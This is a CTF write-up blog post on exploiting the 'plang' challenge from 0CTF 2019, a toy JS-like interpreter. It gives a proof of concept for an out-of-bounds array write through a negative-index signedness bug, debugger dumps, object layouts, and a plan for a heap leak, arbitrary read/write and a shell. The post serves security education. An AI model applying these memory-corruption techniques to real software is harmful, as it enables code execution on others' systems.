0CTF 2019 pclang
23 March 2019Hi, I am Ne0. Last weekend I played 0ctf for some time, and our team r3kapig
got 5th place. (Thanks to my god-like teammates). plang
is one of the challenges I solved. And this blog is to share my solution and to ask for any better solution.
The file can be downloaded at my Github repo
Program Info
Just strings plang
and we found this code:
class Null {}
class Bool {}
class Num {}
class Fn {}
class Thread {}
class Sequence {
all(f) {
var result = true
for element (this) {
result = f.call(element)
if (!result) return result
}
return result
}
any(f) {
var result = false
for element (this) {
result = f.call(element)
if (result) return result
}
return result
}
contains(element) {
for item (this) if (element == item) return true
return false
}
count {
var result = 0
for element (this) result = result + 1
return result
}
count(f) {
var result = 0
for element (this) if (f.call(element)) result = result + 1
return result
}
each(f) {
for element (this) f.call(element)
}
isEmpty {
return iterate(null) ? false : true
}
map(transformation) {
return MapSequence.new(this, transformation)
}
where(predicate) {
return WhereSequence.new(this, predicate)
}
reduce(acc, f) {
for element (this) acc = f.call(acc, element)
return acc
}
reduce(f) {
var iter = iterate(null)
if (!iter) Thread.abort("Can't reduce an empty sequence.")
var result = iteratorValue(iter)
while (iter = iterate(iter)) result = f.call(result, iteratorValue(iter))
return result
join(sep) {
var first = true
var result = ""
for element (this) {
if (!first) result = result + sep
first = false
result = result + element.toString
}
return result
}
join() {
return join("")
}
toList {
var result = List.new()
for element (this) result.add(element)
return result
}
class MapSequence < Sequence {
var sequence
var fn
new(seq, f) {
sequence = seq
fn = f
}
iterate(iterator) {
return sequence.iterate(iterator)
iteratorValue(iterator) {
return fn.call(sequence.iteratorValue(iterator))
class WhereSequence < Sequence {
var sequence
var fn
new(seq, f) {
sequence = seq
fn = f
}
iterate(iterator) {
while (iterator = sequence.iterate(iterator))
if (fn.call(sequence.iteratorValue(iterator))) break
return iterator
}
iteratorValue(iterator) {
return sequence.iteratorValue(iterator)
}
class String < Sequence {
bytes {
return StringByteSequence.new(this)
}
codePoints {
return StringCodePointSequence.new(this)
}
*(count) {
if (!(count is num) || !count.isInteger || count < 0)
Thread.abort("Count must be a non-negative integer.")
var result = ""
for i (0..(count - 1)) result = result + this
return result
}
class StringByteSequence < Sequence {
var string
new(str) {
string = str
}
[index] {
return string.byteAt_(index)
}
iterate(iterator) {
return string.iterateByte_(iterator)
}
iteratorValue(iterator) {
return string.byteAt_(iterator)
}
count {
return string.byteCount_
}
class StringCodePointSequence < Sequence {
var string
new(str) {
string = str
}
[index] {
return string.codePointAt_(index)
}
iterate(iterator) {
return string.iterate(iterator)
}
iteratorValue(iterator) {
return string.codePointAt_(iterator)
}
count {
return string.count
}
class List < Sequence {
addAll(other) {
for element (other) add(element)
return other
}
toString {
return "[%(join(","))]"
}
+(other) {
var result = this[0..-1]
for element (other) result.add(element)
return result
}
*(count) {
if (!(count is num) || !count.isInteger || count < 0)
Thread.abort("Count must be a non-negative integer.")
var result = []
for i (0..(count - 1)) result.addAll(this)
return result
}
class Map {
keys {
return MapKeySequence.new(this)
}
values {
return MapValueSequence.new(this)
}
toString {
var first = true
var result = "{"
for key (keys) {
if (!first) result = result + ", "
first = false
result = result + "%(key): %(this[key])"
}
return result + "}"
}
class MapKeySequence < Sequence {
var map
new(mp) {
map = mp
}
iterate(n) {
return map.iterate_(n)
}
iteratorValue(iterator) {
return map.keyIteratorValue_(iterator)
}
class MapValueSequence < Sequence {
var map
new(mp) {
map = mp
}
iterate(n) {
return map.iterate_(n)
}
iteratorValue(iterator) {
return map.valueIteratorValue_(iterator)
}
class Range < Sequence {}
class System {
static print() {
writeString_("
}
static print(obj) {
writeObject_(obj)
writeString_("
return obj
}
static printAll(sequence) {
for object (sequence) writeObject_(object)
writeString_("
}
static write(obj) {
writeObject_(obj)
return obj
}
static writeAll(sequence) {
for object (sequence) writeObject_(object)
}
static writeObject_(obj) {
var str = obj.toString
if (str is String) {
writeString_(str)
} else {
writeString_("[invalid toString]")
}
}
This is a simple js-like
engine. The grammar.md
describes the grammar. A poc is also provided. Let’s take a look at it first:
var a = "This is a PoC!"
System.print(a)
var b = [1, 2, 3]
b[0x80000000] = 0x123
Running ./plang poc
and we got a crashed:
[----------------------------------registers-----------------------------------]
RAX: 0x4
RBX: 0x555555788c60 --> 0xa ('\n')
RCX: 0x554d55788d60
RDX: 0x4072300000000000 ('')
RSI: 0x80000000
RDI: 0x555555773260 --> 0x555555773f10 --> 0x550000000000 ('')
RBP: 0x7fffffffd890 --> 0x7fffffffd9b0 --> 0x7fffffffd9f0 --> 0x7fffffffda40 --> 0x7fffffffda60 --> 0x55555556b090 (push r15)
RSP: 0x7fffffffd870 --> 0x555555788cd0 --> 0x555500000005
RIP: 0x5555555644a6 (mov QWORD PTR [rcx],rax)
R8 : 0x7ffff7a31c40 --> 0x0
R9 : 0x0
R10: 0x555555773010 --> 0x700000003000101
R11: 0x0
R12: 0x555555788b49 --> 0x3d37010e
R13: 0x555555788bf0 --> 0x555555788b20 --> 0x1e000f0b00080e
R14: 0x555555788cd0 --> 0x555500000005
R15: 0x555555788560 --> 0x7f0000000007
EFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555556449a: mov rax,QWORD PTR [rbp-0x20]
0x55555556449e: mov rdx,QWORD PTR [rax+0x28]
0x5555555644a2: mov rax,QWORD PTR [rax+0x20]
=> 0x5555555644a6: mov QWORD PTR [rcx],rax
0x5555555644a9: mov QWORD PTR [rcx+0x8],rdx
0x5555555644ad: mov rcx,QWORD PTR [rbp-0x20]
0x5555555644b1: mov rax,QWORD PTR [rbp-0x20]
0x5555555644b5: mov rdx,QWORD PTR [rax+0x28]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd870 --> 0x555555788cd0 --> 0x555500000005
0008| 0x7fffffffd878 --> 0x555555773260 --> 0x555555773f10 --> 0x550000000000 ('')
0016| 0x7fffffffd880 --> 0x8000000000000005
0024| 0x7fffffffd888 --> 0x555555788180 --> 0x550000000001
0032| 0x7fffffffd890 --> 0x7fffffffd9b0 --> 0x7fffffffd9f0 --> 0x7fffffffda40 --> 0x7fffffffda60 --> 0x55555556b090 (push r15)
0040| 0x7fffffffd898 --> 0x55555555fc61 (test al,al)
0048| 0x7fffffffd8a0 --> 0x7fffffffd8d0 --> 0x7fffffffd910 --> 0x7fffffffd9b0 --> 0x7fffffffd9f0 --> 0x7fffffffda40 (--> ...)
0056| 0x7fffffffd8a8 --> 0x555555773260 --> 0x555555773f10 --> 0x550000000000 ('')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00005555555644a6 in ?? ()
gdb-peda$ q
OOB! It seems that it’s the signness
problem: 0x80000000($RSI)
is -2147483648
in int. We can confirm this by reverse engineering the plang
binary.
However, when I tried b[0xfffffffff]=1
it still crashed as the origin poc. By debugging I found that any interger in 0x80000000-0xffffffff
gets the same result: the parser just return 0x80000000
as the index.
Luckily, with a few trials, I figured out a way to bypass it: use an expression.
var a = "This is a PoC!"
System.print(a)
var b = [1, 2, 3]
b[0-0x100] = 0x123
This successfully overwrites the memory at offset -0x100
of b
!
[----------------------------------registers-----------------------------------]
RAX: 0x4
RBX: 0x555555788cf0 --> 0xa ('\n')
RCX: 0x555555787df0 --> 0x0
RDX: 0x4072300000000000 ('')
RSI: 0xffffff00
RDI: 0x555555773260 --> 0x555555773f10 --> 0x550000000000 ('')
RBP: 0x7fffffffd890 --> 0x7fffffffd9b0 --> 0x7fffffffd9f0 --> 0x7fffffffda40 --> 0x7fffffffda60 --> 0x55555556b090 (push r15)
RSP: 0x7fffffffd870 --> 0x555555788d60 --> 0x555500000005
RIP: 0x5555555644a6 (mov QWORD PTR [rcx],rax)
R8 : 0x7ffff7a31c40 --> 0x0
R9 : 0x0
R10: 0x555555773010 --> 0x700000004000101
R11: 0x0
R12: 0x555555788c2f --> 0x3d37010e
R13: 0x555555788c80 --> 0x555555788c00 --> 0x1e000f0b00080e
R14: 0x555555788d60 --> 0x555500000005
R15: 0x555555788560 --> 0x7f0000000007
EFLAGS: 0x287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555556449a: mov rax,QWORD PTR [rbp-0x20]
0x55555556449e: mov rdx,QWORD PTR [rax+0x28]
0x5555555644a2: mov rax,QWORD PTR [rax+0x20]
=> 0x5555555644a6: mov QWORD PTR [rcx],rax
0x5555555644a9: mov QWORD PTR [rcx+0x8],rdx
0x5555555644ad: mov rcx,QWORD PTR [rbp-0x20]
0x5555555644b1: mov rax,QWORD PTR [rbp-0x20]
0x5555555644b5: mov rdx,QWORD PTR [rax+0x28]
But wait, what content are we writing to the memory? $RAX==0x4
and $RDX==0x4072300000000000
? I thought I was writing 0x123
:(
OK, through a deeper analysis, we found that every value in the plang
is represented as an object with type.
struct PlangObj{
long type; // if the obj is a pure double, type is 4, otherwise 5
union{
double value;
obj_ptr* obj;
};
};
Now we know what 0x4072300000000000
is : it is 0x123
in double
. The second field is an union. If an obj other than double is stored in the array, its pointer is actually stored. Well , it makes sense.
Looking at the debugger, we found that var b=[1,2,"This is for test"]
looks like the following in memory:
gdb-peda$ telescope 0x5555557881a0
0000| 0x5555557881a0 --> 0x550000000001
0008| 0x5555557881a8 --> 0x55555577e240 --> 0x0
0016| 0x5555557881b0 --> 0x555555788d50 --> 0xa ('\n')
0024| 0x5555557881b8 --> 0x555555788e50 --> 0x4
0032| 0x5555557881c0 --> 0x400000003
0040| 0x5555557881c8 --> 0x51 ('Q')
0048| 0x5555557881d0 --> 0x0
0056| 0x5555557881d8 --> 0x6
gdb-peda$ telescope 0x555555788e50
0000| 0x555555788e50 --> 0x4
0008| 0x555555788e58 --> 0x3ff0000000000000
0016| 0x555555788e60 --> 0x4
0024| 0x555555788e68 --> 0x4000000000000000 ('')
0032| 0x555555788e70 --> 0x5
0040| 0x555555788e78 --> 0x555555788b80 --> 0x5
0048| 0x555555788e80 --> 0x0
0056| 0x555555788e88 --> 0x0
gdb-peda$ telescope 0x555555788b80
0000| 0x555555788b80 --> 0x5
0008| 0x555555788b88 --> 0x55555577c120 --> 0x0
0016| 0x555555788b90 --> 0x555555788600 --> 0x7f0000000005
0024| 0x555555788b98 --> 0x10f94cb1
0032| 0x555555788ba0 ("This is for test")
0040| 0x555555788ba8 ("for test")
0048| 0x555555788bb0 --> 0x0
0056| 0x555555788bb8 --> 0x91
So an array object is like:
struct ArrayObj{
int type;
int padding;
void* some_ptr;
void* some_ptr2;
PlangObj* buffer_ptr;
int size; // the buffer_ptr and size are what we care
int padding2;
};
A string obj looks like:
struct StringObj{
int type;
int padding;
void* some_ptr;
void* some_ptr2;
int some_val;
int size;
char[] contents;
};
Wow these two objects are perfect for exploitation. So what do we need to do?
Exploitation
To be brief, the exploitation steps are:
// memory layout
----------------------
String Obj S (StringCodePointSequence obj)
----------------------
Array Obj A
----------------------
Array Obj B
----------------------
- leak heap address through
S
- overwrite the
buffer_ptr
ofA
throughB
- arbitary read and write
- be a god
Leak heap address
First we need to leak. This is easy, as long as you have the right obj. We need to use StringCodePointSequence
object because StringByteSequence
object couldn’t print byte with the higest bit set. So all we need to to is trigger the bug in A
, like A[0-0x30]=obj
and make sure the pointer of obj
is written to the contents
part of S
. Then we can use string.codePointAt_(index)
to leak the pointer.
Modify the buffer ptr of A
As we have leaked the heap addr
, we can write an arbitrary heap address to the buffer ptr
of A
by triggering the oob write in B
. If you don’t know how to translate a long int to a double directly, you can use a helper js script like this:
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function hex(lo, hi) {
if( lo == 0 ) {
return ("0x" + hi.toString(16) + "-00000000");
}
if( hi == 0 ) {
return ("0x" + lo.toString(16));
}
return ("0x" + hi.toString(16) + "-" + lo.toString(16));
}
Read and write anything anywhere
If we can control the buffer_ptr
of A
, we are almost done! You don’t believe me? Keep reading!
+0x100 : 0xdeadbeef
+0x108 : 0xdeadbeef
+0x110 : libc_addr
For example ,we want to read the libc_addr
at location 0x110
. What should we do? We have to fake a type, right? Suppose a double Val_A
has the same binary representation of 0x4
, we can first change the buffer_ptr
of A
to 0x100
, and execute A[0]=Val_A
Then the memory becomes:
+0x100 : 0x4 //this is the type
+0x108 : 0x4 //this is Value_A
+0x110 : libc_addr
After that, we can modify the buffer_ptr
to 0x108
, only this time we read System.print(A[0])
.
As the we have faked a type at 0x108
, the content in 0x110
is considered as a double.
struct PlangObj{
long type; // if the obj is a pure double, type is 4, otherwise 5
union{
double value;
obj_ptr* obj;
};
};
So we can get the value of libc_addr
as a double.
To write anywhere is just the same as read
!
Be a god
Get a shell and you are god.
Conclusion
This is an interesting challenge, a friendly “js engine” exploitation. If you like this writeup, please follow me on Github for more insterestion stuffs! If you have better solutions, please share with me!